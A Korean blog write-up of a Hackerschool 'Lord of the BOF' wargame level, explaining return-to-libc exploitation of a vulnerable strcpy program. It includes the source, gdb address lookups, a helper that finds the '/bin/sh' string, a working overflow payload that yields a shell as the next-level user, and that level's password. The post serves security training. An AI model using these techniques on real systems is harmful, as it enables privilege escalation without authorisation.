[해커스쿨 LOB] Level13: Darkknight >> Bugbear
두비니
·2020. 7. 31. 21:03
Level 13. Darkknight >> Bugbear
Theme: RTL
로그인
id : darkknight
pw : new attacker
bash2&코드확인
[darkknight@localhost darkknight]$ bash2
[darkknight@localhost darkknight]$ nl bugbear.c
1 /*
2 The Lord of the BOF : The Fellowship of the BOF
3 - bugbear
4 - RTL1
5 */
6 #include <stdio.h>
7 #include <stdlib.h>
8 main(int argc, char *argv[])
9 {
10 char buffer[40];
11 int i;
12 if(argc < 2){
13 printf("argv error\n");
14 exit(0);
15 }
16 if(argv[1][47] == '\xbf')
17 {
18 printf("stack betrayed you!!\n");
19 exit(0);
20 }
21 strcpy(buffer, argv[1]);
22 printf("%s\n", buffer);
23 }
제한조건
1. 매개변수 최소 1개 입력
2. argv[1]의 48번째 바이트는 \xbf일 수 없음 (stack betrayed you!!) *new!*
자 이번에는 여태껏 열심히 사용했던 스택영역의 주소들을 전혀 사용할 수가 없네요. (보통 스택영역의 주소가 모두 0xbf로 시작합니다.)
자 그러면 어떻게 해야하냐?
이번에는 코드에도 쓰여져있듯, RTL을 사용해야합니다.
RTL은 Return To Libc의 줄임말로, ret를 원하는 함수로 덮어 실행시키는 공격기법입니다.
여기서부터 진짜 포너블이라고 할 수 있죠ㅎㅎ
RTL은 RTL chaining이라고해서 여러번 엮어쓰는 기법도있고, ROP라는 스택영역 exploit 끝판왕을 이해하는데도 기반이 되는 친구입니다. 당연히 미리 공부를 할 필요가 있겠죠?
참고: https://d4m0n.tistory.com/79
그래서 RTL을 설명하자면, 여태껏 스택영역에 system("/bin/sh")를 실행해주는 쉘코드를 직접 삽입해서 사용했다면, 이제는 그냥 system("/bin/sh")를 직접 실행시켜버리는 방법입니다. 물론 system함수뿐만아니라 다른 함수들도 당연히 호출이 가능하며, 보통 system이나 exec* 함수를 사용합니다.
아무튼 바로 페이로드를 작성해봅시다.
`python -c 'print "A"*44 + (system함수 주소) + "BBBB" + ("/bin/sh"의 주소)'`
자 여기서 system함수 주소 뒤에 바로 "/bin/sh"의 주소를 넣지 않고 dummy 4바이트를 넣는 이유는 그 뒤에 4바이트가 system함수를 호출 한 뒤에 실행할 함수의 주소를 쓰는 칸입니다. 이걸 이용한걸 아까전에도 잠시 언급한 RTL chaining기법이라고 하고요. 아무튼 지금은 system함수만 불러오면 끝나니 dummy값으로 채우겠습니다.
바로 필요한 거 구해봅시다.
1. system함수의 주소
우선 system함수의 주소를 구해야겠죠?
[darkknight@localhost darkknight]$ gdb -q bugbeal
(gdb) b * main
Breakpoint 1 at 0x8048430
(gdb) r
Starting program: /home/darkknight/bugbeal
Breakpoint 1, 0x8048430 in main ()
(gdb) p system
$1 = {<text variable, no debug info>} 0x40058ae0 <__libc_system>
함수의 주소는 다음과 같이 프로그램을 실행시켜놓은 후 p (함수명) 하면 저렇게 바로 함수주소를 알려줍니다. 나중에는 심볼을 숨겨놔서 찾을 수 없는 안타까운 상황도 발생하는데 일단 일어나지 않은 불미스러움에 대해서는 미리 걱정하지 맙시다.
2. "/bin/sh"의 주소
system함수를 불러와도, 권한을 얻는 명령어를 보내야 권한을 얻을 수 있겠죠?
"/bin/sh"의 주소를 구해야 하는데, 이걸 구하는 방법은 여러가지가 있습니다.
다음에 한번 정리해서 쓰는걸로 하고, 오늘은 그냥 코드를 통해서 구하는걸로 할게요.
[darkknight@localhost darkknight]$ cat getaddr.c
#include <stdio.h>
#include <string.h>
int main(){
long system = 0x40058ae0;
while (memcmp((void*)system, "/bin/sh\x00", 8)){
system++;
}
printf("/bin/sh: %x\n", system);
return 0;
}
이걸가지고 구해봅시다.
[darkknight@localhost darkknight]$ gcc -o getaddr getaddr.c
[darkknight@localhost darkknight]$ ls
bugbeal bugbear bugbear.c getaddr getaddr.c
[darkknight@localhost darkknight]$ ./getaddr
/bin/sh: 400fbff9
/bin/sh 문자열의 주소는 0x400fbff9네요. 이제 exploit을 해봅시다!
[darkknight@localhost darkknight]$ ./bugbear `python -c 'print "\x90"*44 + "\xe0\x8a\x05\x40" + "\x90"*4 + "\xf9\xbf\x0f\x40"'`
▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒@▒▒▒▒▒@
bash$ id
uid=512(darkknight) gid=512(darkknight) euid=513(bugbear) egid=513(bugbear) groups=512(darkknight)
bash$ my-pass
euid = 513
new divide
기법 자체만 이해했으면 RTL 한번만쓰면 풀리는거라 쉽습니다.
다음!
'War Games > 해커스쿨 LOB' 카테고리의 다른 글
[해커스쿨 LOB] Level15: Giant >> Assassin (0) | 2020.08.05 |
---|---|
[해커스쿨 LOB] Level14: Bugbear >> Giant (0) | 2020.08.02 |
[해커스쿨 LOB] Level12: Golem >> Darkknight (0) | 2020.07.31 |
[해커스쿨 LOB] Level11: Skeleton >> Golem (0) | 2020.07.26 |
[해커스쿨 LOB] Level10: Vampire >> Skeleton (0) | 2020.07.26 |